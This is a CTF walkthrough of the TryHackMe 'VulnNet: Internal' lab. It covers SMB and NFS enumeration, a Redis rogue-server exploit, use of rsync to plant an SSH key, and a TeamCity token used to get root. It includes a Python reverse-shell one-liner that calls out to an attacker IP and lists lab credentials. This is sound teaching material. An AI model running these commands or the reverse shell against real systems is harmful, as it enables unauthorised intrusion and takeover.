Post

THM - VulnNet: Internal

VulnNet Internal - A walkthrough of the challenge with enumeration, exploitation and privilege escalation steps.



THM - VulnNet: Internal

1
rustscan -a 10.10.218.65 --ulimit 5000 -- -A

image1

image2

  • SMBMap:
1
2
smbmap -H 10.10.218.65 -u Guest

image3

1
2
3
4
smbclient //10.10.218.65/shares -U Guest

cat services.txt

  • Connect to redis:
1
2
redis-cli -h 10.10.218.65

image4

This means that you need valid credentials to access the Redis instance

  • Moving on to NFS (port 2049):
1
2
showmount -e 10.10.218.65

image5

1
2
3
4
5
6
mkdir /tmp/vulnnet

sudo mount -t nfs <ip>:<remote_folder> <local_folder> -o nolock

sudo mount -t nfs 10.10.218.65:/opt/conf /tmp/vulnnet -o nolock

image6

image7

  • Looking in redis directory we get the redis.conf:

image8

  • Connect to redis again with password:
1
2
redis-cli -h 10.10.218.65 -a B65Hx562F@ggAZ@F

image9

Redis version: 4.0.9

Exploit:

1
2
3
4
5
6
redis-cli -h 10.10.193.202 -a B65Hx562F@ggAZ@F

> KEYS *
> get "internal flag"
> LRANGE authlist 1 20

image10

OR

image11

https://book.hacktricks.xyz/network-services-pentesting/6379-pentesting-redis

https://github.com/Jean-Francois-C/Database-Security-Audit/blob/master/Redis%20database%20penetration%20testing

1
2
3
4
git clone https://github.com/n0b0dyCN/redis-rogue-server.git

./redis-rogue-server.py --rhost 10.10.218.65 --lhost 10.8.24.66 --passwd B65Hx562F@ggAZ@F

image12

  • Ran it again Interactive:

image13

Reverse shell:

image14

image15

  • Upgrade shell:
1
python3 -c 'import pty; pty.spawn("/bin/bash")'
  • List current directory - Found dump.rdb file:

image16

Copy file to Kali:

image17

Use rdbtools (more readable)

https://github.com/sripathikrishnan/redis-rdb-tools

https://medium.com/@D0rkerDevil/how-i-found-credential-enriched-redis-dump-2b9e808024c4

1
2
3
4
5
6
git clone https://github.com/sripathikrishnan/redis-rdb-tools

cd redis-rdb-tools
sudo python setup.py install
rdb --command json dump.rdb -f output.json

cat json or copy into a jsonviewer

image18

image19

image20

rsync://rsync-connect@127.0.0.1 with password Hcg3HP67@TW@Bc72v

  • We know rsync is being used Rsync is a utility for efficiently transferring and synchronizing files between computers, drives and networks

https://book.hacktricks.xyz/network-services-pentesting/873-pentesting-rsync

  • List the shared folders:
1
2
rsync -av --list-only rsync://10.10.193.202

image21

  • Connect to folder:
1
2
rsync rsync://rsync-connect@10.10.193.202/files

image22

  • Copy remote folder’s files to Kali:
1
2
3
4
mkdir rsync_folder

rsync -av rsync://rsync-connect@10.10.193.202/files rsync_folder

image23

This recursively transfers all files from the directory <shared_name> on the machine <IP>into the rsync_folder directory on the local machine

image24

1
2
cat user.txt

  • SSH folder is empty

image25

  • Create ssh keypair and upload:
1
2
ssh-keygen -t rsa

image26

1
2
3
4
5
6
7
8
chmod 600 id_rsa

mv id_rsa.pub authorized_keys

chmod 600 authorized_keys

rsync -av authorized_keys rsync://rsync-connect@10.10.193.202/files/sys-internal/.ssh

  • SSH in:
1
2
ssh -i id_rsa sys-internal@10.10.193.202

  • TeamCity folder in /

https://exploit-notes.hdks.org/exploit/web/teamcity-pentesting/

image27

  • Check network connections:
1
2
ss -pant

image28

Port 8111 is the default port for TeamCity and it’s running locally

  • Set up port forwarding

https://www.hackingarticles.in/port-forwarding-tunnelling-cheatsheet/

1
2
ssh -L 8111:localhost:8111 sys-internal@10.10.193.202 -i id_rsa

(The first port number can be anything - used on Kali)

  • Go to 127.0.0.1:8111

image29

  • Click on Super User link

image30

  • On the SSH session:
1
2
grep -rnw /TeamCity/ -e "token" 2>/dev/null

image31

  • Log in with the token - 8807557903946249045

  • Get root shell:

https://exploit-notes.hdks.org/exploit/web/teamcity-pentesting/

image32

1
2
export RHOST="10.8.24.66";export RPORT=4443;python3 -c 'import socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("bash")'

image33

This post is licensed under CC BY 4.0 by the author.